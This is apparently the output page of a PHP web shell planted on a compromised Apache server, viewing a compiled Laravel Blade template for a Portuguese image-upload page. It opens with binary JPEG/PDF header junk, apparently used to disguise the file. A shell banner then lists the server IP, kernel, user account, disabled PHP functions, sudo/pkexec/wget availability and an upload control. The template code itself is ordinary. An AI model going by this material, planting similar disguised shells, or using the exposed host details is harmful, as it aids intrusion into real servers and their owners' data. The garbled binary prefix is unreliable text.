ÿØÿà JFIF ÿþ; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 157.90.209.209 / Your IP : 216.73.216.129 [ Web Server : Apache System : Linux hcomm124.dns-wk.info 4.18.0-553.64.1.el8_10.x86_64 #1 SMP Mon Jul 28 12:01:56 EDT 2025 x86_64 User : evidenciarevista ( 1049) PHP Version : 7.2.34 Disable Function : exec,passthru,shell_exec,system Domains : 216 Domains MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : ON Directory : /home/evidenciarevista/admin/storage/framework/views/ |
Upload File : |
<?php $__env->startSection('content'); ?> <script src="https://unpkg.com/dropzone@5/dist/min/dropzone.min.js"></script> <link rel="stylesheet" href="https://unpkg.com/dropzone@5/dist/min/dropzone.min.css" type="text/css" /> <!-- <script> var Dropzone = require("enyo-dropzone"); Dropzone.autoDiscover = false; </script> --> <style> html, body { height: 100%; } #actions { margin: 2em 0; } /* Mimic table appearance */ div.table { display: table; } div.table .file-row { display: table-row; } div.table .file-row > div { display: table-cell; vertical-align: top; border-top: 1px solid #ddd; padding: 8px; } div.table .file-row:nth-child(odd) { background: #f9f9f9; } /* The total progress gets shown by event listeners */ #total-progress { opacity: 0; transition: opacity 0.3s linear; } /* Hide the progress bar when finished */ #previews .file-row.dz-success .progress { opacity: 0; transition: opacity 0.3s linear; } /* Hide the delete button initially */ #previews .file-row .delete { display: none; } /* Hide the start and cancel buttons and show the delete button */ #previews .file-row.dz-success .start, #previews .file-row.dz-success .cancel { display: none; } #previews .file-row.dz-success .delete { display: block; } </style> <section class="content-header"> <h1> <?php echo e($post->title); ?> <small>Adicionar imagens</small> </h1> </section> <!-- Main content --> <section class="content"> <div class="box box-success"> <div class="box-header"> <h3 class="box-title">Adicionar imagens para <?php echo e($post->title); ?></h3> </div> <div class="box-body"> <div id="actions" class="row"> <div class="col-lg-7"> <span class="btn btn-success fileinput-button"> <i class="glyphicon glyphicon-plus"></i> <span>Adicionar imagens...</span> </span> <button type="submit" class="btn btn-primary start"> <i class="glyphicon glyphicon-upload"></i> <span>Começar todos upload</span> <?php echo e(csrf_field()); ?> </button> <button type="reset" class="btn btn-warning cancel"> <i class="glyphicon glyphicon-ban-circle"></i> <span>Cancelar upload</span> </button> </div> <div class="col-lg-5"> <span class="fileupload-process"> <div id="total-progress" class="progress progress-striped active" role="progressbar" aria-valuemin="0" aria-valuemax="100" aria-valuenow="0"> <div class="progress-bar progress-bar-success" style="width:0%;" data-dz-uploadprogress></div> </div> </span> </div> </div> <div class="table table-striped" class="files" id="previews"> <div id="template" class="file-row"> <!-- This is used as the file preview template --> <div> <span class="preview"><img data-dz-thumbnail /></span> </div> <div> <p class="name" data-dz-name></p> <strong class="error text-danger" data-dz-errormessage></strong> </div> <div> <p class="size" data-dz-size></p> <div class="progress progress-striped active" role="progressbar" aria-valuemin="0" aria-valuemax="100" aria-valuenow="0"> <div class="progress-bar progress-bar-success" style="width:0%;" data-dz-uploadprogress></div> </div> </div> <div> <button class="btn btn-primary btn-sm start"> <i class="glyphicon glyphicon-upload"></i> <span>Fazer upload</span> </button> <button data-dz-remove class="btn btn-warning btn-sm cancel"> <i class="glyphicon glyphicon-ban-circle"></i> <span>Cancelar</span> </button> </div> </div> </div> <div class="box box-default"> <div class="box-header"> <h3 class="box-title">Imagens cadastradas</h3> </div> <div class="box-body"> <div class="row"> <?php $__empty_1 = true; foreach($post->images as $imgs): $__empty_1 = false; ?> <div class="col-lg-2 col-md-2 col-sm-3 col-xs-6 margin-bottom"> <div class="thumbnail" style="height: 140px; overflow: hidden;"> <img src="<?php echo e(asset('uploads/post/add/thumb/'.$imgs->file)); ?>" width="100%"> </div> <a href="<?php echo e(route('imgs.destroy', ['id' =>$imgs->id, 'file' => $imgs->file])); ?>" class="btn btn-xs btn-danger"> <i class="glyphicon glyphicon-remove"></i> Excluir</a> </div> <?php endforeach; if ($__empty_1): ?> <div class="col-lg-12">Nenhuma imagem cadastrada para esta galeria</div> <?php endif; ?> </div> </div> <!-- /.box-body --> </div> <!-- /.box --> </div> <!-- /.box-body --> </div> <!-- /.box --> </section> <script> // Get the template HTML and remove it from the doument var previewNode = document.querySelector("#template"); previewNode.id = ""; var previewTemplate = previewNode.parentNode.innerHTML; previewNode.parentNode.removeChild(previewNode); var myDropzone = new Dropzone(document.body, { // Make the whole body a dropzone url: "/admin/post/imagens/store/<?php echo e($post->id); ?>", //parallelUploads: 20, previewTemplate: previewTemplate, autoQueue: false, previewsContainer: "#previews", clickable: ".fileinput-button", sending: function(file, xhr, formData) { formData.append("_token", $('[name=_token').val()); } }); myDropzone.on("addedfile", function(file) { // Hookup the start button file.previewElement.querySelector(".start").onclick = function() { myDropzone.enqueueFile(file); }; }); // Update the total progress bar myDropzone.on("totaluploadprogress", function(progress) { document.querySelector("#total-progress .progress-bar").style.width = progress + "%"; }); myDropzone.on("sending", function(file) { // Show the total progress bar when upload starts document.querySelector("#total-progress").style.opacity = "1"; // And disable the start button file.previewElement.querySelector(".start").setAttribute("disabled", "disabled"); }); // Hide the total progress bar when nothing's uploading anymore myDropzone.on("queuecomplete", function(progress) { document.querySelector("#total-progress").style.opacity = "0"; location.reload(); }); // Setup the buttons for all transfers // The "add files" button doesn't need to be setup because the config // `clickable` has already been specified. document.querySelector("#actions .start").onclick = function() { myDropzone.enqueueFiles(myDropzone.getFilesWithStatus(Dropzone.ADDED)); }; document.querySelector("#actions .cancel").onclick = function() { myDropzone.removeAllFiles(true); }; </script> <?php $__env->stopSection(); ?> <?php echo $__env->make('master', array_except(get_defined_vars(), array('__data', '__path')))->render(); ?>